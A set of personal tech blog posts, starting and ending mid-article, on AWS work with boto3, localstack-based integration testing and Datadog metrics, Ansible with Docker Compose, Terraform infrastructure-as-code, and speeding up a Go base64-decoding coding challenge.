In this post I demonstrated how to use the boto3 python package to make AWS IAM and STS calls to access resources in the AWS cloud protected by IAM policies. I also discussed some advanced features of AWS IAM that can help you implement more granular IAM policies and access rights. The linked repository also contains an example which may be run locally and does not need the Lambda function to be created (it still, however, requires the Terraform resources to be deployed).

Cloud Service Testing

Fri, 17 Jan 2020 11:11:00 +0000

In this blog post I discuss a recent project I worked on to practice my skills related to AWS, Python and Datadog. It includes topics such as integration testing using pytest and localstack; running Continuous Integration via Travis-CI and infrastructure as code using Terraform.

Intro

For the sake of this blog post, let’s assume that a periodic job runs somewhere in the Cloud, outside the context of this application, which generates a file with some meta-data about the job itself. This data includes mostly numerical values, such as the number of images used to train an ML model, or the number of files processed, etc. This part is depicted on the below diagram as a dummy Lambda function that periodically uploads this metadata file to an S3 bucket with random numerical values.

When this file is uploaded, an event notification is sent to the message queue. The goal of the Python application is to periodically drain these messages from the queue. When the application runs, it fetches the S3 file referenced in each SQS message, parses the file’s contents and submits the numerical metrics to DataDog for the purpose of visualisation and alerting.

Testing

Since the application interacts with two different APIs (AWS & Datadog), I figured it was a good idea to create integration tests that can be run easily via some free CI service (e.g.: Travis-CI.org). When writing the integration tests, I opted to create a simple mock class for testing the interaction with the Datadog API, and chose to rely on localstack for testing the interaction with the AWS API.

Thanks to localstack I could skip creating real resources in AWS and instead use free fake resources in a docker container, that mimic the real AWS API close to 100%. The AWS SDK called boto3 is very easy to reconfigure to connect to the fake resources in localstack with the endpoint_url= parameter.

In the following sections I go through different phases of the project:

coding the python app
mocking Datadog statsd client
setting up AWS resources in localstack
creating integration tests
Travis-CI integration
running the datadog-agent locally
setting up real AWS resources
live testing

~ Coding the python app ~

The code is mainly composed of two Python classes with methods to interact with AWS and DataDog. The CloudResourceHandler class has methods to interact with S3 and SQS, which can be replaced in integration-tests with preconfigured boto3 clients for localstack.

The MetricSubmitter class uses the CloudResourceHandler internally and offers some additional methods for sending metrics to DataDog. Internally it uses statsd from the datadog python package, which can be replaced via dependency injection in integration tests with a mock statsd class that I created to test its interaction with the Datadog API.

To connect to the real AWS & Datadog APIs (via a preconfigured local datadog-agent) there needs to be two environment variables specified at run-time:

STATSD_HOST set to localhost
SQS_QUEUE_URL set to the URL of the Queue

os.environ['STATSD_HOST'] = 'localhost'
os.environ['SQS_QUEUE_URL'] = 'https://sqs.eu-central-1.amazonaws.com/????????????/cloud-job-results-queue'
session = boto3.Session(profile_name='profile-name')
MetricSubmitter(statsd=datadog_statsd,
sqs_client=session.client('sqs'),
s3_client=session.client('s3')).run()

In addition, it also requires a preconfigured AWS profile in ~/.aws/credentials which is necessary for boto3 to authenticate to AWS:

[profile-name]
aws_access_key_id = XXXXXXXXXXXXXXX
aws_secret_access_key = XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
region = eu-central-1

But before running it, let’s set up some integration tests!

~ Mocking Datadog statsd client ~

In truth, the application does not interact directly with the Datadog API, but rather it uses statsd from the datadog python package, which interacts with the local datadog-agent, which in turn forwards metrics and events to the Datadog API.

To test this flow that relies on statsd, I created a class called DataDogStatsDHelper. This class has 2 functions (gauge/event) with identical signatures to the real functions from the official datadog-statsd package. However, the mock functions do not send anything to the datadog-agent. Instead, they accumulate the values they were passed in local class variables:

class DataDogStatsDHelper:
event_title = None
event_text = None
event_alert_type = None
event_tags = None
event_counter = 0
gauge_metric_name = None
gauge_metric_value = None
gauge_tags = None
gauge_counter = 0
def event(self, title, text, alert_type=None, aggregation_key=None, source_type_name=None,
date_happened=None, priority=None, tags=None, hostname=None):
...
def gauge(self, metric, value, tags=None, sample_rate=None):
...

When the MetricSubmitter class is tested, this mock class is injected instead of the real statsd class, which enables assertions to be made and compare expectations with reality.

~ AWS resources in localstack ~

To test how the python app integrates with S3 and SQS, I decided to use loalstack, running in a Docker container. To make it simple and repeatable, I created a docker-compose.yaml file that allows the configuration parameters to be defined in YAML:

version: '3.2'
services:
 localstack:
 image: localstack/localstack:latest
 container_name: localstack
 ports:
 - '4563-4599:4563-4599'
 - '8080:8080'
 environment:
 - SERVICES=s3,sqs
 - AWS_ACCESS_KEY_ID=foo
 - AWS_SECRET_ACCESS_KEY=bar

The resulting fake AWS resources are accessible via different ports on localhost. In this case, S3 runs on port 4572 and SQS on port 4576. Refer to the docs on GitHub for more details on ports used by other AWS services in localstack.

It is important to note that when localstack starts up, it is completely empty. Thus, before the integration tests can run, it is necessary to provision the S3 bucket and SQS queue in localstack, just as one would normally do it when using real AWS resources.

For this purpose, it’s possible to write a simple bash script that can be called from the localstack container as part of an automatic init script:

aws --endpoint-url=http://localhost:4572 s3api create-bucket --bucket "bucket-name" --region "eu-central-1"
aws --endpoint-url=http://localhost:4576 sqs create-queue --queue-name "queue-name" --region "eu-central-1" --attributes "MaximumMessageSize=4096,MessageRetentionPeriod=345600,VisibilityTimeout=30"

However, for the sake of making the integration-tests self-contained, I opted to integrate this into the tests as part of a class setup phase that runs before any tests and sets up the required S3 bucket and SQS queue:

@classmethod
def setUpClass(cls):
cls.ls = LocalStackHelper()
cls.ls.get_s3_client().create_bucket(Bucket=cls.s3_bucket_name)
cls.ls.get_sqs_client().create_queue(QueueName=cls.sqs_queue_name)

~ Creating integration tests ~

As a next step I created the integration tests which use the fake AWS resources in localstack, as well as the mock statsd class for DataDog. I used two popular python packages to create these:

unittest which is a built-in package
pytest which is a 3rd party package

Actually, the test cases only use unittest, while pytest is used for the simple collection and execution of those tests. To get started with the unittest framework, I created a python class and implemented the test cases within this class:

import unittest
from app.utils.datadog_fake_statsd import DataDogStatsDHelper
from app.utils.localstack_helper import LocalStackHelper
from app.submitter import MetricSubmitter
class ProjectIntegrationTesting(unittest.TestCase):
@classmethod
def setUpClass(cls):
...
def setUp(self):
...
def test_ddg_submitter_valid_payload(self):
...
def test_ddg_submitter_invalid_payload(self):
...
def test_aws_handler_invalid_s3key(self):
...
def test_aws_handler_valid_s3key(self):
...

In the setUpClass method, a few things are taken care of before tests can be executed:

define class variables for the bucket & the queue
create SQS & S3 clients using localstack endpoint url
provision needed resources (Queue/Bucket) in localstack

To test the interaction with DataDog via the statsd client, the submitter app is executed, which stores some values in the mock statsd class’s internal variables, which are then used in assertions to compare values with expectations.

The other tests inspect the behaviour of the CloudResourceHandler class. For example, one of the assertions tests whether the .has_available_messages() function returns false when there are no more messages in the queue.

A nice feature of unittest is that it’s easy to define tasks that need to be executed before each test, to ensure a clean slate for each test. For example, the code in the setUp method ensures two things:

the fake SQS queue is emptied before each test
class variables of the mock DataDog class are reset before each test

Theoretically, it would be possible to run the test by running pytest -s -v in the python project’s root directory, however the tests rely on localstack, so they would fail…

~ Travis-CI integration ~

So now that the integration tests are created, I thought it would be really nice to have them automatically run in a CI service, whenever someone pushes changes to the Git repo. To this end, I created a free account on travis-ci.org and integrated it with my github rep by creating a .travis.yaml file with the below initial content:

os: linux
language: python
python:
 - "3.8"
services:
 - docker
script:
 - {...}

However, I still needed a way to run localstack and then execute the integration tests within the CI environment. Luckily I found docker-compose to be a perfect fit for this purpose. I had already created a yaml file to describe how to run localstack, so now I could just simply add an extra container that would run my tests. Here is how I created a docker image to run the tests via docker-compose:

FROM python:3.8-alpine
WORKDIR /app
COPY ./requirements-test.txt ./
RUN apk add --no-cache --virtual .pynacl_deps build-base gcc make python3 python3-dev libffi-dev \
 && pip3 install --upgrade setuptools pip \
 && pip3 install --no-cache-dir -r requirements-test.txt \
 && rm requirements-test.txt
COPY ./utils/*.py ./utils/
COPY ./*.py ./
ENV LOCALSTACK_HOST localstack
ENTRYPOINT ["pytest", "-s", "-v"]

It installs the necessary dependencies to an alpine based python 3.8 image; adds the necessary source code, and finally executes pytest to collect & run the tests. Here are the updates I had to make to the docker-compose.yaml file:

version: '3.2'
services:
 localstack:
 {...}
 integration-tests:
 container_name: cloud-job-it
 build:
 context: .
 dockerfile: Dockerfile-tests
 depends_on:
 - "localstack"

Docker Compose auto-magically creates a shared network to enable connectivity between the defined services, which can call one-another by name. So when the tests are running in the cloud-job-it container, they can use the hostname localstack to create the boto3 session via the endpoint url to reach the fake AWS resources.

For easier to creation of AWS clients via localstack, I used a package called localstack-python-client, so I don’t have to deal with port numbers and low level details. However, this client by default tries to use localhost as the hostname, which wouldn’t work in my setup using docker-compose. After digging through the source-code of this python package, I found a way to change this by setting an environment variable named LOCALSTACK_HOST.

As a final step, I just had to add two lines to complete to the .travis.yaml file:

script:
 - docker-compose up --build --abort-on-container-exit
 - docker-compose down -v --rmi all --remove-orphans

Thanks to the --abort-on-container-exit flag, docker-compose will return the same exit code which is returned from the container that first exits, which first this use-case perfectly, as the cloud-job-it container only runs until the tests finish. This way the whole setup will gracefully shut down, while preserving the exit code from the container, allowing the CI system to generate an alert if it’s not 0 (meaning some test failed).

~ Running the datadog-agent locally ~

Note: while Datadog is a paid service, it’s possible to create a trial account that’s free for 2 weeks, without the need to enter credit card details. This is pretty amazing!

Now that the integration tests are automated and passing, I wanted to run the datadog-agent locally, so that I can test the python application with some real data that was to he submitted to Datadog via the agent. Here is an article that was particularly useful to me, with instructions on how the agent should be set up.

While the option of running it in docker-compose was initially appealing, I eventually decided to just start it manually as a long-lived detached container. Here is how I went about doing that:

DOCKER_CONTENT_TRUST=1 docker run -d \
 --name dd-agent \
 -v /var/run/docker.sock:/var/run/docker.sock:ro \
 -v /proc/:/host/proc/:ro \
 -v /sys/fs/cgroup/:/host/sys/fs/cgroup:ro \
 -e DD_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX \
 -e DD_SITE="datadoghq.eu" \
 -e DD_DOGSTATSD_NON_LOCAL_TRAFFIC=true \
 -p 8125:8125/udp \
 datadog/agent:7

Most notable of these lines is the DD_API_KEY environment variable which ensures that whatever data I send to the agent is associated with my own account. In addition, since I am closest to the EU region, I had to specify the endpoint via the DD_SITE variable. Also, because I want the agent to accept metrics from the python app, I need to turn on a feature via the environment variable DD_DOGSTATSD_NON_LOCAL_TRAFFIC, as well as expose port 8125 from the docker container to the host machine:

 ▶ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
477cb2ea74b2 datadog/agent "/init" 3 days ago Up 3 days (healthy) 0.0.0.0:8125->8125/udp, 8126/tcp dd-agent

All seems to be well!

~ Deploying real AWS resources ~

Here I briefly discuss how I deployed some real resources in AWS to see my application running live. In a nutshell, I set the infra up as code in Terraform, which greatly simplified the whole process. All the necessary files are collected in a directory of my repository:

variables.tf defines some variables used in multiple places
init.tf initialisation of the AWS provider and definition of AWS resources
outputs.tf defines some values that are reported when deployment finishes

The first and last files are not very interesting. Most of the interesting stuff happens in the init.tf, which defines the necessary resources and permissions. One extra resource not mentioned before, is an AWS Lambda function, which gets executed every minute and is used to upload a JSON file to the S3 bucket. This acts as a random source of data, so that the python app has some work to do without manual intervention.

~ Live testing ~

Now that all parts seem to be ready, it’s time to run the main python app using the real S3 bucket and SQS queue, as well as the local datadog-agent. The console output provides some hints whether it’s able to pump the metrics from AWS to a DataDog:

▶ python3 submitter.py
Initializing new Cloud Resource Handler with SQS URL - https://.../cloud-job-results-queue
Processing available messages in SQS queue:
- sending data to DataDog via statsd/datadog-agent.
- removing message from SQS (AQEBO37smPPHg6OIqbh3HMu3g...)
- ...
- sending data to DataDog via statsd/datadog-agent.
- removing message from SQS (AQEBV0/JzMVEP6k5kBmx2kvGn...)
No more messages visible in the queue, shutting down ...
Process finished with exit code 0

Next, I checked my DataDog account to see whether the metric data arrived. For this I created a custom Notebook with graphs to display them:

All seems to be well! The deployed AWS Lambda function has already run a few times, providing input data for the python app, which were successfully processed and forwarded to Datadog. As seen on the Notebook above, it is really easy to display metric data over time about any recurring workload, which can provide pretty useful insights into those jobs.

Furthermore, since DataDog also submission of events it becomes possible to design dashboards and create alerts which trigger based on mor complex criteria, such as the presence or lack of events over certain periods of time. One such example can be seen below:

This is a so-called screen-board which I created to display the status of a Monitor that I set up previously. This Monitor tracks incoming events with the tag cloud_job_metric and generates an alert, if there is not at least one such event of type success in the last 30 minutes. The screen-board can be exported via a public URL if needed, or just simply displayed on a big screen somewhere in the office.

Conclusions

In this post I discussed a relatively complex project with lots of exciting technology working together in the realm of Cloud Computing. In the end, I was able to create DashBoards and Monitors in DataDog, which can ingest and display telemetry about AWS workloads, in a way that makes it useful to track and monitor the workloads themselves.

KringleCon II

Mon, 13 Jan 2020 11:11:00 +0000

In this post I just wanted to announce and link to my write-up in the Tutorials section of my blog, which chronicles my solution to the challenges of the most fun CTF of the holiday season.

A huge thank you goes out to the SANS Institute and the Counter Hack Team who are the organisers of this event. They put a great deal of energy and effort year after year to host this event. It is no wonder the campus of the Elf University was sometimes so crowded, you could barely see your own avatar! :)

To get to the write-up, either click this link, or manually go to the Tutorials section in the top bar. I also welcome any kind of feedback or comment on the write-up, to do so please hit the Contact link in the top bar.

RunCode.ninja Challenges

Sat, 11 Jan 2020 11:11:00 +0000

This post was born on a misty saturday morning, while slowly sipping some good quality coffe in a Prague café. The last several days after work was over I spent solving programming challenges on runcode.ninja and I thought it would be nice to share my experience and spread the word about it.

RunCode.ninja

I can’t really recall how I discovered this website in the first place… All I remember is that I was really into the simplistic idea of it all. The basic idea for most of the challenges goes something like this:

check problem description
inspect any sample input (if any)
write your program locally
test on sample input (if any)
submit source code to the evaluation platform

If all went well, you will get feedback within a few seconds whether the submitted code worked correctly for the given task at hand. If it didn’t, then you can turn to their FAQ for some advice. It definitely has some useful info, however if all else fails, you can also contact the team behind the platform on their slack channel. They are really friendly people so be sure to respond to their effort in kind!

Another nice thing about their platform is that they categorized all their challenges (119 in total as of now) into nice categories such as binary, encoding, encryption, forensics, etc. which allows you to select what you are interested in. When I started out, I was first aiming to complete the challenges in Easy which offers a combination of relatively easy challenges from math, text-parsing, encoding and other categories.

As it currently stands, I rank 155 our of around ~2400 registered users, which seems quite impressive at first, but I suspect there may be quite a few inactive accounts in their database. Also, there are some hardcore people who have already completed all their challenges that seems quite impressive. If only a few rainy and cold weekends I could spend working on these, I would probably catch up soon!

Last but not least, their platform is set up to interpret a several different programming languages, so you can choose to solve them in the language you are most comfortable with. Once you solve a challenge, you can access its write-ups which provide some very useful inspiration on how others have solved the same problem. This can provide some very valuable lessons, like that one time when I wrote a Go program that was 20 lines long to solve a challenge that took only 1 line into solve in Bash…

If you are interested to check out my solutions for some of the challenges, you can find them in my GitHub repository. For some of them I even created two different solutions, one in Python and another Go, just to compare and practice working with both languages.

Oh and I almost forgot to mention, they have some really cool stickers that they are not shy to send half-way across the world by post, so that’s another big plus for sticker fans :)

That’s all for now, thank you for tuning in! :)

Docker with Ansible

Fri, 13 Dec 2019 11:11:00 +0000

Introduction

This post was written as a kind of learning diary for my most recent venture into the world of automation through Ansible. The project I implemented uses Docker to package 2 services into a micro-services architecture and Ansible to build and deploy those services on remote hosts (with the help of Dockr Compose).

The Idea

The service implements a file processing utility which monitors the file-system (a particular folder) and grabs any newly created files and stores them in another folder while compressing it. Interacting with the service is possible through a web interface which offers a way to upload files, simple statistics and the possibility to request email summaries.

The Approach

The first idea was to write it all in Go, because I am quite comfortable with the language. However, after a few searches on the interweb, I discovered that a handy UNIX utility already exists for my exat use-case: inotify. While Go has some packages that offer wrappers around this utility, I eventually decided to just write a bash script for using the inotify tool, instead of relying on Go for implementing all parts of this service. This also allowed me a convenient excuse to make the service into a 2 piece set, both of which can be deployed and scaled independently, in the spirit of micro-service architecture. Next, I set out to learn enough of Ansible that can be used to deploy a packaged in Docker containers.

ANSIBLE 101

Before this project, I never had the chance to use Ansible, but I wanted to learn about it for quite a while, so here I would describe it briefly for those who are also on the start of their journey with Ansible.

At the basic level, it is a tool for provisioning and configuring applications on remote systems in an automated fashion. To achieve the automation it uses so-called playbooks, which define what steps are necessary to reach a desired state for remote systems. It runs mainly on UNIX systems, but is able to provision and configure both UNIX and Windows based systems.

It is an agentless tool, which means it does not require any special software to be included in the remote hosts. Instead it relies on an SSH connection to remote hosts, through which bash or PowerShell utilities are used to carry out the necessary steps.

Ansible uses an inventory that describes the remote systems that can be provisioned through the playbooks. Inventories can be defined statically in local filesystem on the Ansible master node, or pulled dynamically from remote systems as well.

ANSIBLE MEETS DOCKER

For the purpose of this project, them main use of Ansible lies in its ability to build and run Docker containers. While Docker is not strictly needed to deploy this service on multiple remote hosts, it becomes much easier when all the necessary dependencies and the source code are packaged neatly in a container that can be easily shipped. Within the Docker container, all dependencies are set up and the service is configured in a reliable and consistent manner, while Ansible takes care of deploying and running the service.

It is worth mentioning that other tools exist, such as Kubernetes, Docker Swarm and others, which focus more on shipping containerised applications. This blog post, however will not deal with those, but focus entirely on Ansible and Docker instead. Future posts may discuss those alternatives in more detail.

Below is a brief summary of the proposed architecture that depicts how Ansible and Docker are used together to achieve the desired state of deploying the containerised service on each Ansible host.

Detailed instructions are out of scope for this post as well, but briefly: the above shows a snapshot of my local environment using virtual machines in VirtualBox. First, I created a master VM with Ubuntu Desktop and then two slave VMs with Ubuntu server (no GUI necessary). Ansible was installed on the Master node and proper SSH access was configured for both slave VMs from the master VM. In the Ansible playbook used to deploy the service on remote systems, the first few tasks were about installing necessary dependencies and setting up a local docker environment, which can later build and run containerised applications.

MONOLITHIC VS MICROSERVICE

Before discussing how Ansible was used to deploy the service on remote machines using Docker, it is worth going through the building blocks of the service itself. The set of features needed for the service:

file monitoring service that grabs and compresses files
web interface for file uploads, email sending and service stats

These features could be implemented in one application that runs all the necessary functions in parallel. In fact, on my first iteration, I opted to solve it this way, packaging all features into a single container. The below figure shows how it worked.

However, for the sake of learning, it is worth to consider using a microservice approach. This essentially means breaking up big monolithic applications to smaller sub-components. Docker is a perfect tool for this. For our purposes, such an architecture could mean deploying 2 separate containers: one for the Web UI backend (for uploads, statistics and email) and another that implements the monitoring and compression service. Below is an updated figure showing the breakup of our previously monolithic approach.

Breaking up the one container from the first iteration into two separate containers enables us to reap some benefits of microservice architecture. Our application components can fail independently, for example, a bug in the email sending service will not bring down the monitoring service. Also, such an architecture means in the future we can scale better with demand, in case there would be a huge surge in requests to the web frontend, we could just deploy more instances of the container and use a load-balancer to distribute requests among those instances.

IMPLEMENTATION

To implement the web component, I used simmple static HTML being served from a GO backend, that also handled file-uploads, sending email notifications and extracting statistical data from a shared SQLite3 database. In order to implement the file monitoring service, I used the inofity-tools available on UNIX systems, and wrapped it in a bash script that took care of the zipping, and generating of logs and statistics into the SQLite3 database.

Docker-Compose

Docker Compose was used to enable easier testing and deployment. The definitions in the docker-compose.yml describe what docker containers should be started with what parameters. The two services defined in the docker-compose correspond to the two containers defined above using the micro-service architecture.

The webserver running the GO backend uses a few mounted folders plus an exposed port to let inbound communication reach the server. The monitor uses 4 folders mounted from the host FS, which enable its core functionality (listening for files and zipping them to a different folder).

Ansible

Thanks to Docker Compose, it was relatively simple to deploy and run the service with Ansible, once the necessary packages and dependencies are installed on Ansible hosts. All it took was a simple Ansible Task using the docker_compose module:

- name: Docker-Compose UP
 docker_compose:
 project_src: path_to_docker_compose_yml
 build: yes

While testing the sevice a few issues were discovered that could be considered as bugs, but instead let’s call them features!

Feature #1

Since the service lets users upload files, sometimes, if the file is large enough, the processing may kick in faster than the upload can be completed. In this case, the file may be corrupted and would not be possible to recover after unzipping. To mitigae this to a certain extent, a 5 second processing delay has been added to the monitor_service.sh script, which will, as a result, delay the processing and hope that during those 5 seconds, the upload has finished.

Feature #2

While creating the two Docker files describing each component of the service, I wanted to take an extra step and created a non-root user, so that the main process of the service starts as some user which does not have full root access to everything. This worked well while developing and testing on a local system using manual execution via docker-compose up/down commands. However, once Ansible has been updated to use DC via the docker_compose module, certain functionalities would be broken due to file/folder permission issues. Basically the mounted folders would belong to root, whereas the running process was non-root, so it could not save uploaded files for example. Further investigations will be done to solve this, until then, the Dockerfiles have been reverted to use root when starting the main processes.

CONCLUSION

All in all, working on this project has been a great opportunity to practice such tools as Docker, Docker Compose and Ansible. While I have used Docker briefly before, I have never once used Ansible, and I learnt a great deal about it during this project. I can definitely see how it enables large organisations to streamline their processes when it comes to deploying and configuring various systems and services in their infrastructure. While this project is rather rudimentary, it gave me a good entry to this realm of IT.

Infrastructure as Code

Tue, 12 Nov 2019 11:11:00 +0000

Introduction

In this post I will briefly introduce different AWS services and show how to use Terraform to orchestrate and manage them. While the concept of the whole service is rather simple, its main use is enabling me to learn about this new emerging technology called Infrastructure-as-Code or IaC for short.

Project overview

The main goal of this task is to deploy a server-less function and periodically query the Github API to get a list of public repositories for a given organisation (e.g.: Google). The retrieved information should then be stored in a compressed CSV file in a specific S3 bucket, while notifications should be created for new files saved to the bucket.

The main AWS components of the solution are:

Lambda function written in Python
CW Event Rule to schedule the Lambda periodically
S3 for storing data in a bucket
SQS for queueing notifications from S3

Possibilities

Various methods exist for the creation and configuration of these necessary resources. The most simple one is by logging in to the AWS Management Console and setting up each components one by one via the GUI. This method, however, is slow, cumbersome and quite prone to errors.

A better option can be to use the AWS SDK for your favourite programming language. Several options exist, such as Java, Python, GO, Node.js, etc… This option is less error-prone, but still quite cumbersome and slow.

Perhaps one of the best options is to use Terraform, which is a popular Infrastructure as Code or IaC tool these days. It lets you define your infrastructure in a configuration language and has its own internal engine that talks to the AWS SDK to create the necessary infrastructure you defined.

Setup procedure

Before we can make use of Terraform to deploy our project on AWS, we need to set up credentials. This can be done by logging in to the AWS management console and going to Identity and Access Management section, which can provide the necessarz Access Key and Secret value that you need to put into a file on disk. These credentials should be saved to ~/.aws/credentials as follows:

[default]
aws_access_key_id = XXXXXXXXXXXX
aws_secret_access_key = XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

This enables Terraform to make changes to your AWS infrastructure through API calls made to AWS to provision resources according to your definition in the .tf file. Once you create the desired configuration a complete infrastructure can be deployed as simply as below:

$ ▶ ls -la
-rw-r--r-- 1 user group 4.9K Nov 21 22:58 main.tf
$ ▶ terraform init
...
Terraform has been successfully initialized!
$ ▶ terraform apply
...
Plan: 13 to add, 0 to change, 2 to destroy.
Do you want to perform these actions?
Enter a value: YES

Project building blocks

In this section I will go over each major component and explain what it is, what it does and how it is set up. First up is the main component: the core logic implemented in Python.

AWS Simple Storage Service

This is a basic building block which we use to store data generated by the Lambda function. Since Lambdas are by nature server-less, they do not have persistent storage attached which can be used to save data between two invocations of the function. If we need persistent storage we need to use S3. The necessary Terraform code is below:

resource "aws_s3_bucket" "tf_aws_bucket" {
bucket = "tf-aws-bucket"
tags = {
Name = "Bucket for Terraform project"
Environment = "Dev"
}
force_destroy = "true"
}

This will create a bucket named tf-aws-bucket which we can then use to store the results of our Lambda function. As an extra feature, we also configured notifications for this bucket, which will be created when a compressed file with .gz file type is created in the bucket. When this happens a notification will be generated and sent to the SQS queue that is also defined in the same Terraform file.

AWS Lambda

AWS Lambda is a server-less technology which lets you create a bare function in the cloud and call it from various other services, without having to worry about setting up an environment where it will run. Different programming language are supported, such as Python, Java, Go and NodeJS. Once you deploy your code, you can receive input to your function just as normally when you write a function, and give it permission to access and modify other resources in AWS, such as working with files stored in S3.

This is exactly the use-case that was implemented in this project. A lambda function that makes an API call to Github to download information, then store this in a compressed CSV file to an S3 bucket. To define the target organisation and the bucket where information is saved, the Lambda function expects two arguments in the function call:

{
"org_name" : "twitter",
"target_bucket" : "repos_folder"
}

This JSON input passed to the function is converted to a map in Python, which can be tested for the presence of necessary keys for the correct functioning of the code:

def handler(event, context):
# verify that URL is passed correctly and create file_name variable based on it
if 'org_name' not in event.keys() or 'target_bucket' not in event.keys():
print("Missing 'org_name' from request body (JSON)!")

The rest of the function’s code downloads the list of public repositories of the passed organisation from Github API and store this in a temporary file that can be uploaded to S3, provided that the necessary permissions have been granted to this Lambda function:

import boto3
s3 = boto3.client("s3")
s3.upload_file(path_to_local_file, target_bucket_name, key_name)

In order to enable access to S3 from Lambda, we have to define some IAM policies and roles. First we have to define a policy which says that the role, which obtains this policy can access the S3 bucket:

data "aws_iam_policy_document" "s3_lambda_access" {
statement {
effect = "Allow"
resources = ["arn:aws:s3:::tf-aws-bucket/*"]
actions = [
"s3:GetObject",
"s3:PutObject",
"s3:ListBucket",
]
}
}

resource "aws_iam_policy" "s3_lambda_access" {
name = "s3_lambda_access"
policy = data.aws_iam_policy_document.s3_lambda_access.json
}

This policy is then attached to an IAM role which is allowed to be assumed by AWS Lambda:

resource "aws_iam_role_policy_attachment" "s3_lambda_access" {
role = aws_iam_role.tf_aws_exercise_role.name
policy_arn = aws_iam_policy.s3_lambda_access.id
}

resource "aws_iam_role" "tf_aws_exercise_role" {
name = "tfExerciseRole"
description = "Role that allowed to be assumed by AWS Lambda, which will be taking all actions."
tags = {
owner = "tfExerciseBoss"
}
assume_role_policy = <<EOF
{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Action": "sts:AssumeRole",
 "Principal": {
 "Service": "lambda.amazonaws.com"
 },
 "Effect": "Allow"
 }
 ]
}
EOF
}

AWS CloudWatch Events

This component is responsible for periodically making a call to our Lambda function, with the required arguments passed in JSON format. This component was also configured via Terraform, but for the sake of simplicity, below is a screenshot taken from the AWS Management Console where the created CW event shows up as configured:

The screen-shot shows that it is configured to periodically execute a Target Lambda function every 2 minutes.

Results

In summary, it took me a while to get the hang of Infrastructure as Code concept and apply it while working with Terraform on AWS, but I can definitely see how it can benefit a bigger organisation which want their Cloud infrastructure to be stable and maintainable. IaC tools such as Terraform let developers define their infrastructure as code and check it in to version control for repeatable and more predictable deployment procedures. Now that I have this working project, I can do a simple terraform deploy to bring alive my service with all required components and permissions correctly set up in seconds, while also being able to quickly destroy it if I chose to do so. This gives flexibility and greater ease of development that can speed up projects in the cloud.

Performance tuning GO

Mon, 11 Nov 2019 11:11:00 +0000

Introduction

This post is going to contain a short story on how I managed to optimize the execution of a simple program, written for a coding challenge on the site runcode.ninja.

Short description of the task:

There is a text file which is given as argument to your program.This text
file contains lines, each of which is an encoded englishword. Recover them
and print them out to the standard output lineby line. Hint: the UNIX
built-in dictionary may come in handy at "/usr/share/dict/american-english".

To attack problem, I used the GO language to write a program which used the built-in encoding and os/exec packages to decode the lines and to call grep to search in the file-based dictionary. It was not very difficult to figure out that the encoding in use was base64.

However, to make each line valid either a single = or double equation == characters had to be added to each line. The below code takes care of this addition of extra characters at the end of each line.

func decode(encodedStr string) string {
decoded, err := base64.StdEncoding.DecodeString(encodedStr)
for err != nil {
encodedStr += "="
decoded, err = base64.StdEncoding.DecodeString(encodedStr)
}
return string(decoded)
}

In order to test if the result of a decode operation is a valid word, a helper function was written, which is passed a string as an argument and performed the call to grep via os/exec.

func dictLookup(word string) bool {
dictLocation := "/usr/share/dict/american-english"
_, err := exec.Command("grep", "-w", word, dictLocation).Output()
if err != nil {
return false
}
return true
}

Finally, putting these pieces together, there is a function which reads in the txt file, iterates over the lines and calls decode and dict lookup until a valid word comes out, then prints it to standard output. Below is the sample code.

scanner := bufio.NewScanner(file)
var line string
for scanner.Scan() {
line = decode(scanner.Text())
for !(dictLookup(line)) {
line = decode(line)
}
fmt.Println(line)
}

Initial results

The sample code worked well enough and running it on the test / sample data provided yielded correct output, so all seemed to be fine!

flrnks@t460:~/drop_the_bass (master) ▶ go run main.go input.txt
interpretation
sanctioned
lawn
electives
unifying

Then came the idea to try to test this code on both of my laptops because it did not seem to run very quickly, even though it only had to decode 5 lines. So one of the machines I have is a ThinkPad T460 with an i5 and 16GB of RAM, while the other is a 15” MacBook Pro with i9 CPU and 32GB of RAM. I initially developed the code on the ThinkPad, and was quite surprised how much slower it was to execute on the MacBook. I would have expected that it would be the opposite, since the ThinkPad is around 3-4 years old already with a less powerful CPU. Initial test results from both machine:

 [MacBook] [ThinkPad]
interpretation 285.76ms 32.61ms
lawn 425.63ms 59.31ms
unifying 1.10s 93.60ms
electives 1.20s 91.10ms
sanctioned 6.18s 141.28ms

Overall the MacBook took on average 9 seconds to finish, while the ThinkPad took around 0.5 to 1 second to finish. This was not normal, so I had to investigate! 👀 😄

Performance Tuning 1.0

Seeing the results and the difference in performance, I was quite interested what could be the cause for such a performance drop on the MacBook. My first idea was to implement concurrency into the processing, so that instead of reading lines sequentially, they get processed in parallel by getting assigned to a worker using channels, which will return it to the main routine waiting for the results.

The above figure contains the basic idea for this concurrent processing model and the below code snippet shows some parts of the code that are most important:

// define the channels for distributing work and collecting the results
jobs := make(chan string)
results := make(chan string)
// use the waitgroup for syncing up between the workers
wg := new(sync.WaitGroup)
// start up some workers that will block and wait
for w := 1; w <= 5; w++ {
wg.Add(1)
go workerFunc(jobs, results, wg)
}
// interate over the file line by line and queue them up in the jobs channel
go func() {
scanner := bufio.NewScanner(file)
for scanner.Scan() {
jobs <- scanner.Text()
}
close(jobs)
}()
// In parallel routine wait for WG to finish and close channel for results
go func() {
wg.Wait()
close(results)
}()
// Print out the results from the results channel.
for v := range results {
fmt.Println(v)
}

This parallel processing has noticeable improved the performance, but still did not eliminate the substantial difference between the two platforms.

Note: implementing the concurrent model means the words on the standard output will appear in a random order, and so the submission to the grading system might fail.

Performance Tuning 2.0

Next, I was looking around on the internet (StackOverFlow.com in particular) where I got the idea to stop calling grep via the os/exec package, and instead read the contents of the dictionary into memory and perform lookups that way. Essentially this was trading memory footprint for speed. So then I create a global dictionary {‘map[string]bool’} which was loaded once at the start of the program and used as often as needed by the various go-routines. And this was perfectly fine because the worker routines called read-only operations on this map so there was no issue with concurrent access to the global map variable.

var wordDict = make(map[string]bool)
func loadDictionary() {
dict, _ := os.Open("/usr/share/dict/american-english")
defer dict.Close()
ds := bufio.NewScanner(dict)
for ds.Scan() {
wordDict[ds.Text()] = true
}
}

This way the lookups in the dictionary cannot be a bottleneck of the I/O system of the particular OS the program is running on. Executing the same timing test this time yielded much improved results. It became clear that the issue on the MacBook was slow execution of the external grep call from the GO program. Why this is the reason I am not sure, but the results speak for themselves:

 [MacBook] [ThinkPad]
